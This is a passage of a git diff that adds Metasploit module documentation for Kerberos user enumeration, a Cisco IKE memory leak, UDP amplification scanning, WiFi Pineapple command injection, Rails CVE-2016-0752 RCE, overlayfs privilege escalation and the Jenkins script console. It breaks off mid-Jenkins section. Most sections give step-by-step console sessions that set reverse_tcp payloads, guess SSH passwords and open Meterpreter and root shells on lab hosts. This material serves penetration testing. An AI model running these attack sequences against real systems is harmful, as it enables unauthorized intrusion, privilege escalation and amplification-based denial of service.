+## Target
+
+To use kerberos_enumusers, make sure you are able to connect to the
+Kerberos service on a Domain Controller.
+
+## Scenario
+
+The following demonstrates basic usage, using a custom wordlist,
+targeting a single Domain Controller to identify valid domain user
+accounts.
+
+```
+msf > use auxiliary/gather/kerberos_enumusers
+msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
+DOMAIN => MYDOMAIN
+msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
+RHOST => 192.168.5.1
+msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
+USER_FILE => /job/users.txt
+msf auxiliary(kerberos_enumusers) > run
+
+[*] Validating options...
+[*] Using domain: MYDOMAIN...
+[*] 192.168.5.1:88 - Testing User: "bob"...
+[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
+pre-authentication required
+[+] 192.168.5.1:88 - User: "bob" is present
+[*] 192.168.5.1:88 - Testing User: "alice"...
+[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
+pre-authentication required
+[+] 192.168.5.1:88 - User: "alice" is present
+[*] 192.168.5.1:88 - Testing User: "matt"...
+[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
+pre-authentication required
+[+] 192.168.5.1:88 - User: "matt" is present
+[*] 192.168.5.1:88 - Testing User: "guest"...
+[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
+been revoked
+[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
+[*] 192.168.5.1:88 - Testing User: "admint"...
+[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
+Kerberos database
+[*] 192.168.5.1:88 - User: "admint" does not exist
+[*] 192.168.5.1:88 - Testing User: "admin"...
+[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
+Kerberos database
+[*] 192.168.5.1:88 - User: "admin" does not exist
+[*] 192.168.5.1:88 - Testing User: "administrator"...
+[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
+Kerberos database
+[*] 192.168.5.1:88 - User: "administrator" does not exist
+[*] Auxiliary module execution completed
+msf auxiliary(kerberos_enumusers) >
+```
+
+## Options
+
+The kerberos_enumusers module only requires the RHOST, DOMAIN and
+USER_FILE options to run.
+
+**The DOMAIN option**
+
+This option is used to specify the target domain. If the domain name is
+incorrect an error is returned and domain user account enumeration will fail.
+
+An example of setting DOMAIN:
+
+```
+set DOMAIN [domain name]
+```
+
+**The USER_FILE option**
+
+This option is used to specify the file containing a list of user names
+to query the Domain Controller to identify if they exist in the target domain
+or not. One per line.
+
+An example of setting USER_FILE:
+
+```
+set USER_FILE [path to file]
+```
+
+**The Timeout option**
+
+This option is used to specify the TCP timeout i.e. the time to wait
+before a connection to the Domain Controller is established and data read.
+
+An example of setting Timeout:
+
+```
+set Timeout [value in seconds]
+```
diff --git a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md
new file mode 100644
index 0000000000..1c5101c640
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md
@@ -0,0 +1,34 @@
+This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
+
+The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/ike/cisco_ike_benigncertain```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: ```run```
+
+## Sample Output
+
+```
+msf auxiliary(cisco_ike_benigncertain) > show options
+
+Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ PACKETFILE /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
+ RHOSTS 192.168.1.2 yes The target address range or CIDR identifier
+ RPORT 500 yes The target port
+ THREADS 1 yes The number of concurrent threads
+
+msf auxiliary(cisco_ike_benigncertain) > set verbose True
+msf auxiliary(cisco_ike_benigncertain) > run
+
+[*] Printable info leaked:
+>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
+[+] 192.168.1.2:500 - IKE response with leak
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/scanner/udp/udp_amplification.md b/documentation/modules/auxiliary/scanner/udp/udp_amplification.md
new file mode 100644
index 0000000000..ba73348d90
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/udp/udp_amplification.md
@@ -0,0 +1,125 @@
+## Vulnerable Application
+
+ Any reachable UDP endpoint is a potential target.
+
+## Verification Steps
+
+ Example steps in this format:
+
+ 1. Start `msfconsole`
+ 2. Do: ```use auxiliary/scanner/udp/udp_amplification```
+ 3. Do `set RHOSTS [targets]`, replacing ```[targets]``` with the hosts you wish to assess.
+ 4. Do ```set PORTS [ports]```, replacing ```[ports]``` with the list of UDP ports you wish to assess on each asset.
+ 5. Optionally, ```set PROBE [probe]```, replacing ```[probe]``` with a string or `file://` resource to serve as the UDP payload
+ 6. Do: ```run```
+ 7. If any of the endpoints were discovered to be vulnerable to UDP amplification with the probe you specified, status will be printed indicating as such.
+
+## Options
+
+ **PORTS**
+
+ This is the list of ports to test for UDP amplification on each host.
+ Formats like `1,2,3`, `1-3`, `1,2-3`, etc, are all supported. You'll
+ generally only want to specify a small, targeted set of ports with an
+ appropriately tailored `PROBE` value, described below
+
+ **PROBE**
+
+ This is the payload to send in each UDP datagram. Unset or set to the empty
+ string `''` or `""` to send empty UDP datagrams, or use the `file://`
+ resource to specify a local file to serve as the UDP payload.
+
+## Scenarios
+
+ ```
+ resource (amp.rc)> use auxiliary/scanner/udp/udp_amplification
+ resource (amp.rc)> set RHOSTS 10.10.16.0/20 192.168.3.0/23
+ RHOSTS => 10.10.16.0/20 192.168.3.0/23
+ resource (amp.rc)> set PORTS 17,19,12345
+ PORTS => 17,19,12345
+ resource (amp.rc)> set THREADS 100
+ THREADS => 100
+ resource (amp.rc)> set PROBE 'test'
+ PROBE => test
+ resource (amp.rc)> run
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts)
+ [*] Sending 4-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts)
+ [*] Scanned 512 of 4608 hosts (11% complete)
+ [+] 10.10.17.153:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 10.10.20.47:17 - susceptible to UDP amplification: No packet amplification and a 40x, 159-byte bandwidth amplification
+ [*] Scanned 2560 of 4608 hosts (55% complete)
+ [+] 10.10.23.199:19 - susceptible to UDP amplification: No packet amplification and a 256x, 1020-byte bandwidth amplification
+ [+] 10.10.23.248:17 - susceptible to UDP amplification: No packet amplification and a 26x, 103-byte bandwidth amplification
+ [*] Scanned 3584 of 4608 hosts (77% complete)
+ [*] Scanned 3840 of 4608 hosts (83% complete)
+ [+] 10.10.30.202:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [*] Scanned 4096 of 4608 hosts (88% complete)
+ [+] 192.168.3.64:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.71:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.73:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.77:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.100:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.3.118:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification
+ [+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
+ [*] Scanned 4352 of 4608 hosts (94% complete)
+ [+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification
+ [*] Scanned 4608 of 4608 hosts (100% complete)
+ [*] Auxiliary module execution completed
+ ```
+
+ Similarly, but with empty UDP datagrams instead:
+
+ ```
+ resource (amp.rc)> unset PROBE
+ Unsetting PROBE...
+ resource (amp.rc)> run
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts)
+ [*] Sending 0-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts)
+ [+] 10.10.17.229:17 - susceptible to UDP amplification: No packet amplification and a 107x, 107-byte bandwidth amplification
+ [+] 10.10.26.252:19 - susceptible to UDP amplification: No packet amplification and a 3892x, 3892-byte bandwidth amplification
+ [*] Scanned 4096 of 4608 hosts (88% complete)
+ [+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
+ [+] 192.168.3.114:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
+ [+] 192.168.3.115:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
+ [+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
+ [+] 192.168.3.184:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
+ [*] Scanned 4352 of 4608 hosts (94% complete)
+ [+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification
+ [+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification
+ [*] Scanned 4608 of 4608 hosts (100% complete)
+ [*] Auxiliary module execution completed
+ ```
diff --git a/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md b/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md
new file mode 100644
index 0000000000..7c21f073d0
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md
@@ -0,0 +1,21 @@
+## Background
+
+The 'pineapple_bypass_cmdinject' exploit attacks a weak check for
+pre-authorized CSS files, which allows the attacker to bypass
+authentication. The exploit then relies on the anti-CSRF vulnerability
+(CVE-2015-4624) to obtain command injection.
+
+This exploit uses a utility function in
+/components/system/configuration/functions.php to execute commands once
+authorization has been bypassed.
+
+## Verification
+
+This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The
+default options are generally effective due to having a set state after being
+flashed. You will need to be connected to the WiFi pineapple network (e.g. via
+WiFi or ethernet).
+
+Assuming the above 2.3 firmware is installed, this exploit should always work.
+If it does not, try it again. It should always work as long as the pineapple is
+in its default configuration.
diff --git a/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md b/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md
new file mode 100644
index 0000000000..674675ad8b
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md
@@ -0,0 +1,28 @@
+## Background
+
+This module uses a challenge solver exploit which impacts two possible states
+of the device: pre-password set and post-password set. The pre-password set
+vulnerability uses a default password and a weak anti-CSRF (CVE-2015-4624)
+check to obtain shell by logging in and pre-computing the solution to
+the anti-CSRF check.
+
+The post-password set vulnerability uses the fact that there is a 1 in 27
+chance of correctly guessing the challenge solution. This attack resets the
+password to a password chosen by the attacker (we suggest the default
+'pineapplesareyummy' to decrease collateral damage on victims) and then
+performs the same anti-CSRF attack as the pre-password vulnerability.
+
+This exploit uses a utility function in
+/components/system/configuration/functions.php to execute commands once
+authorization has been bypassed.
+
+## Verification
+
+This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The
+default options are generally effective due to having a set state after being
+flashed. You will need to be connected to the WiFi pineapple network (e.g. via
+WiFi or ethernet).
+
+Assuming the above 2.3 firmware is installed, this exploit should always work.
+If it does not, try it again. It should always work as long as the pineapple is
+in its default configuration.
diff --git a/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md b/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md
new file mode 100644
index 0000000000..f0b9d961c1
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md
@@ -0,0 +1,79 @@
+## Intro
+
+Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.
+
+http://rubyonrails.org/
+
+> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).
+
+## Setup
+
+**Download and setup the sample vuln application:**
+
+- [ ] `sudo apt-get install -y curl git`
+- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
+- [ ] `source ~/.rvm/scripts/rvm`
+- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
+- [ ] `gem install rails -v 4.0.8`
+- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
+- [ ] `cd pwn`
+- [ ] `bundle install`
+- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`
+
+Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
+
+- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`
+
+## Usage
+
+### Typical Usage
+
+Just set ```RHOST``` and fire off the module! It's pretty much painless.
+```set VERBOSE true``` if you want to see details.
+
+```
+saturn:metasploit-framework mr_me$ cat scripts/rails.rc
+use exploit/multi/http/rails_dynamic_render_code_exec
+set RHOST 172.16.175.251
+set payload linux/x86/meterpreter/reverse_tcp
+set LHOST 172.16.175.1
+check
+exploit
+
+saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
+[*] Processing scripts/rails.rc for ERB directives.
+resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
+resource (scripts/rails.rc)> set RHOST 172.16.175.251
+RHOST => 172.16.175.251
+resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
+payload => linux/x86/meterpreter/reverse_tcp
+resource (scripts/rails.rc)> set LHOST 172.16.175.1
+LHOST => 172.16.175.1
+resource (scripts/rails.rc)> check
+[+] 172.16.175.251:3000 The target is vulnerable.
+resource (scripts/rails.rc)> exploit
+[*] Exploit running as background job.
+[*] Started reverse TCP handler on 172.16.175.1:4444
+
+[*] Sending initial request to detect exploitability
+msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
+[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
+[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
+[*] uploading image...
+[+] injected payload
+[*] 172.16.175.251:3000 - Sending the payload to the server...
+[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
+[*] Sending stage (1495599 bytes) to 172.16.175.251
+[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
+[+] Deleted /tmp/NhhGKCCIgwF
+
+msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > shell
+Process 50809 created.
+Channel 1 created.
+$ id
+uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
+$
+```
diff --git a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md
new file mode 100644
index 0000000000..d069bd7eef
--- /dev/null
+++ b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md
@@ -0,0 +1,181 @@
+## Creating A Testing Environment
+
+This module has been tested against:
+
+ 1. CVE-2015-1328
+ 1. Ubuntu 14.04
+ 1. 3.13.0-24 (binary version of exploit compiled on)
+ 2. 3.19.0-20
+ 3. 3.19.0-21 (not vuln, exploit failed)
+ 4. 3.13.0-55 (not vuln, exploit failed)
+ 2. CVE-2015-8660
+ 1. Ubuntu 14.04
+ 1. 3.19.0-41 (binary version of exploit compiled on)
+
+Untested against
+
+ 1. Fedora (code included to identify vuln versions)
+ 2. Redhat (description includes vuln kernel versions)
+
+## Verification Steps
+
+ 1. Start msfconsole
+ 2. Exploit a box via whatever method
+ 4. Do: `use exploit/linux/local/overlayfs_priv_esc`
+ 5. Do: `set session #`
+ 6. Do: `set verbose true`
+ 7. Do: `exploit`
+
+## Options
+
+ **COMPILE**
+
+ If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
+
+ **WritableDir**
+
+ A folder we can write files to. Defaults to /tmp
+
+## Scenarios
+
+### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
+
+#### Initial Access
+
+ resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
+ resource (/root/Text-1.txt)> set rhosts 192.168.2.156
+ rhosts => 192.168.2.156
+ resource (/root/Text-1.txt)> set username ubuntu
+ username => ubuntu
+ resource (/root/Text-1.txt)> set password ubuntu
+ password => ubuntu
+ resource (/root/Text-1.txt)> exploit
+ [*] SSH - Starting bruteforce
+ [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
+ [!] No active DB -- Credential data will not be saved!
+ [*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
+ [*] Scanned 1 of 1 hosts (100% complete)
+ [*] Auxiliary module execution completed
+
+#### Escalate
+
+ resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
+ resource (/root/Text-1.txt)> set verbose true
+ verbose => true
+ resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
+ payload => linux/x86/shell/reverse_tcp
+ resource (/root/Text-1.txt)> set session 1
+ session => 1
+ resource (/root/Text-1.txt)> set target 1
+ target => 1
+ resource (/root/Text-1.txt)> set lhost 192.168.2.117
+ lhost => 192.168.2.117
+ resource (/root/Text-1.txt)> exploit
+ [*] Started reverse TCP handler on 192.168.2.117:4444
+ [*] Checking if mount points exist
+ [+] /tmp/haxhax not created
+ [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
+ [+] gcc is installed
+ [*] Live compiling exploit on system
+ [*] Checking if mount points exist
+ [+] /tmp/haxhax not created
+ [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
+ [*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
+ [*] Max line length is 65537
+ [*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
+ [*] Compiling /tmp/svF1U2Ya.c
+ [*] Writing to /tmp/fHCJO1ex (155 bytes)
+ [*] Max line length is 65537
+ [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
+ [*] Exploiting...
+ [*] Sending stage (36 bytes) to 192.168.2.156
+ [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
+ [+] Deleted /tmp/svF1U2Ya.c
+ [+] Deleted /tmp/fHCJO1ex
+
+ 3986817421
+ viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
+ true
+ zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
+ cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
+ EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
+ true
+ FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
+ omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
+ VPsVgFTxVwskShumsJkambKWMQhifDJi
+ whoami
+ root
+ uname -a
+ Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
+
+### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
+
+#### Initial Access
+
+ resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
+ resource (/root/Text-1.txt)> set rhosts 192.168.2.156
+ rhosts => 192.168.2.156
+ resource (/root/Text-1.txt)> set username ubuntu
+ username => ubuntu
+ resource (/root/Text-1.txt)> set password ubuntu
+ password => ubuntu
+ resource (/root/Text-1.txt)> exploit
+ [*] SSH - Starting bruteforce
+ [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
+ [!] No active DB -- Credential data will not be saved!
+ [*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
+ [*] Scanned 1 of 1 hosts (100% complete)
+ [*] Auxiliary module execution completed
+
+#### Escalate
+
+ resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
+ resource (overlay.rc)> set verbose true
+ verbose => true
+ resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
+ payload => linux/x86/shell/reverse_tcp
+ resource (overlay.rc)> set target 0
+ target => 0
+ resource (overlay.rc)> set session 1
+ session => 1
+ resource (overlay.rc)> set lhost 192.168.2.117
+ lhost => 192.168.2.117
+ resource (overlay.rc)> exploit
+ [*] Started reverse TCP handler on 192.168.2.117:4444
+ [*] Checking if mount points exist
+ [+] /tmp/ns_sploit not created
+ [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
+ [+] gcc is installed
+ [*] Live compiling exploit on system
+ [*] Checking if mount points exist
+ [+] /tmp/ns_sploit not created
+ [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
+ [*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
+ [*] Max line length is 65537
+ [*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
+ [*] Writing to /tmp/ofs-lib.c (439 bytes)
+ [*] Max line length is 65537
+ [*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
+ [*] Compiling /tmp/JmK51Dpa.c
+ [*] Writing to /tmp/R6TrMF7f (155 bytes)
+ [*] Max line length is 65537
+ [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
+ [*] Exploiting...
+ [*] Sending stage (36 bytes) to 192.168.2.156
+ [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
+ [!] Tried to delete /tmp/ofs-lib.c, unknown result
+ [+] Deleted /tmp/JmK51Dpa
+
+ 2356964145
+ psMfOJcKGKnafhAvALIeSFNegauafmux
+ RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
+ KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
+ true
+ ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
+ dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
+ UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
+ sh: 0: can't access tty; job control turned off
+ # # # whoami
+ root
+ # uname -a
+ Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md
new file mode 100644
index 0000000000..e09118e7d6
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md
@@ -0,0 +1,130 @@
+## Vulnerable Application
+
+ Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
+ binaries are available for a variety of operating systems. Both LTS and weekly
+ builds are available.
+
+ Default settings have the script console enabled and require a valid user
+ account in order to access it. A known account can be used with this module by
+ setting the `USERNAME` and `PASSWORD` options.
+
+## Verification Steps
+
+ Example steps in this format:
+
+ 1. Install the application
+ 1. Start msfconsole
+ 1. Do: ```use exploit/multi/http/jenkins_script_console```
+ 1. Do: ```set RHOST [target host]```
+ 1. Do: ```set TARGET [target id]```
+ 1. Do: ```exploit```
+ 1. You should get a shell.
+
+## Options
+
+ **TARGETURI**
+
+ The path to the target instance of Jenkins.
+
+ **USERNAME**
+
+ A username to an account that has access to the script console. This is only
+ necessary if the Jenkins instance has been configured to require
+ authentication.
+
+ **PASSWORD**
+
+ A password to an account that has access to the script console. This is only
+ necessary if the Jenkins instance has been configured to require
+ authentication.
+
+## Scenarios
+
+ Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
+
+ ```
+ msf > use exploit/multi/http/jenkins_script_console
+ msf exploit(jenkins_script_console) > set TARGETURI /
+ TARGETURI => /
+ msf exploit(jenkins_script_console) > set USERNAME steiner
+ USERNAME => steiner
+ msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
+ PASSWORD => I<3msf!
